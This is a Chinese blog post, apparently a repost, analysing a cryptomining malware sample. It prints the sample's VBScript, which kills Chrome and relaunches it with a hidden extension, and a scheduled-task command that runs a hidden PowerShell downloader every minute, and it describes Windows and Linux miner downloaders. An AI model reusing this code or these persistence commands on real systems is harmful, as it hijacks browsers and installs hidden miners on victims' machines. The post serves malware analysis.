vb中注释是单引号 ‘
On Error ReSume Next: ‘ 这一句vb代码是异常处理,错误时会继续运行,不中断
strComputer = ".":
Set OBjWMISeRvice = GETobject("winmgmts:\\"&StrComPuter&"\root\CIMV2"): ‘ set是用于给对象变量赋值 返回ActiveX对象
Set CoLiTems = ObjWmISErvice.ExeCquery("SELECT * FROM Win32_Process where name=‘chrome.exe‘ ",,48): ‘ExeCquery是指关闭指定用户进程
SeT objShell = CreateObjeCt("WScript.Shell"): ‘ 创建WScript。sehll对象
starT = False:
‘ 遍历且与关键字对比
FOr Each ObjITem in colItEms:
iF INstr(objitem.CommandLiNe,"silent-launch") > 1 ‘ vb中变量不区分大小写 字符串区分
thEn start = true:
end if:
NEXt:
‘ 关闭进程
function Killproc(strProcname):
On ErroR REsume Next:
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2"):
Set arRProcesses = objWmIServiCe.ExEcQuery("select * from win32_process where Name =‘"&strprocname&"‘"):
for Each Proccess In aRrpRocessEs:
proccess.Terminate 0: ‘ terminate是指事件的终止
Next:
ENd FuncTiOn:
If nOT start
then KillprOc("chrome.exe"): ‘ 杀死进程
Dim Instpath: ‘ 根据变量类型为变量分配内存空间
INstpaTh = objShell.Regread("HKLM\Software\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe\Path"): ‘ 读取注册表
appdataLocAtIon = objShell.ExpandENvironmenTStriNgs("%LOCALAPPDATA%"): ‘ 获取路径 C:\Users\xxx\AppData\Local
chrome_locatIon = AppDataLoCaTion+"\chrome": ‘ 拼接路径 C:\Users\xxx\AppData\Local\chrome
objShell.eXec(InsTPaTh+"\chrome.exe --load-extension="+chrome_locatIon+" --silent-launch --enable-automation"):
‘ --load-extension 每次重启chrome的快捷方式会被替换C:\Users\xxx\AppData\Local\chrome
‘ --silent-launch 表示不开启chrome,静默安装
‘ --enable-automation 开启自动化
End if
?如何解密呢,在线解密:https://www.jb51.net/tools/onlinetools/jiemi/jsendecode.htm
上面的vb脚本分析,对于关键的数据出写出详细的注释,这里不一一罗嗦,sec.vbe关闭chrome,然后替换了了Chrome的快捷方式。
?至于.dat是一个dll文件,PEID查看后发现加油vmp虚拟壳,对于这个壳,带壳调试的话,过虚拟、过反调试可以动态调试.....这里有兴趣的朋友自行分析,能力有限不能很好的分析该病毒的出步骤,所以这一个比较关键的环节略过......
?通过dll执行(也就是上述省略分析的.dll文件),做了那些事情呢?
??1、在windows下释放了一段可执行的恶意代码,包含了powershell指令(用于下载挖矿)
??2、Linux下释放了.sh的脚本(用于进程查杀及下载挖矿)
?其实就是释放了两个下载器,我们分析一下释放的下载器。
?
Windows下Powershell如下所示:
前置知识:
? 1、-EncodedCommand 接受 base-64 编码字符串版本的命令。使用此参数向 Windows PowerShell 提交需要复杂引号或大括号的命令。 代码中-E
? 2、-WindowStyle将窗口样式设置为 Normal、Minimized、Maximized 或 Hidden。 代码中-W
? 3、-noprofile 简写 -NoP, 为不加载 windows poweshell 配置文件
? 4、-NonInteractive不向用户显示交互式提示。、
?
?打开.ps1脚本,发现被加密,如下所示:
????????????????????图片二十三:加密的Powershell指令
?根据-E的参数,我们可以先推测使用了Base64进行了整体加密,下面在线Base64解密之后,如下图片所示:
????????????????????图片二十四:Base64解密
?第一次Base64解密后,虽然还有大量的字符不识别,但是露出了关键一些数据,如iex,这就为后续的解密提供了思路,脚本中有IEX关键字了,我们去掉且重定向到新得文件中,尝试解密,解密后数据如下图所示:如下所示:
????????????????????图片二十五:Base64解密
?分析Function DllMiner函数,如下所示:
????????????????????图片二十六:Function DllMiner?????
?函数内容将数据下载并截获正确得恶意代码写入到文件,命名为tmp.jpg,执行下载得文件,然后把DllMiner函数写入到额tmp.ps1,如下所示:
????????????????????图片二十七:tmp.ps1
?调用了SchTasks.exe执行计划任务,如下所示:
SchTasks.exe /Create /SC MINUTE /TN "Update " /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noexit -File $env:TMP\tmp.ps1" /MO 6 /
参数介绍:
1、/Create 创建新计划任务。
2、/TN taskname 指定唯一识别这个计划任务的名称
3、/ST starttime 指定运行任务的开始时间 /SC MINUTE (一分钟)
4、/TR taskrun 指定在这个计划时间运行的程序的路径
5、/MO modifier 改进计划类型以允许更好地控制计划重复
总结:一分钟运行一次tmp.ps1,也就是Function DllMiner函数
?下载得其实是挖矿程序,对于挖矿程序得分析不到位,有兴趣得可以分析一下。
?
补充:
?1、电脑不能运行powershell脚本?报错让参考策略修改,修改配置如下图所示:
????????????????????图片二十八:powershell策略配置
?2、Powershell关于IEX混淆解密相关介绍:https://www.codercto.com/a/24286.html
?
Linux下.sh如下所示:
?看看Linux下.sh脚本是如何运行的,如下所示:
????????????????????图片二十九
?一个死循环,两个函数,就是整个脚本的内容,kills函数如下所示:
????????????????????图片三十
?各种kill与pkill,终止其他程序的挖矿进程。然后开始执行downloadyam函数,如下所示:
????????????????????图片二十一
?上述标红是注释,这便是脚本执行的过程,xx.sh总共下载了五个文件:
??config.json,bashf,pools.txt,bashg,XbashY
?到此两个下载器分析完毕,至于挖矿程序的分析,还是不献丑了........以后有时间学习研究后,再来补上未分析的部分。
?
未完待续!
原文:http://blog.51cto.com/13352079/2351643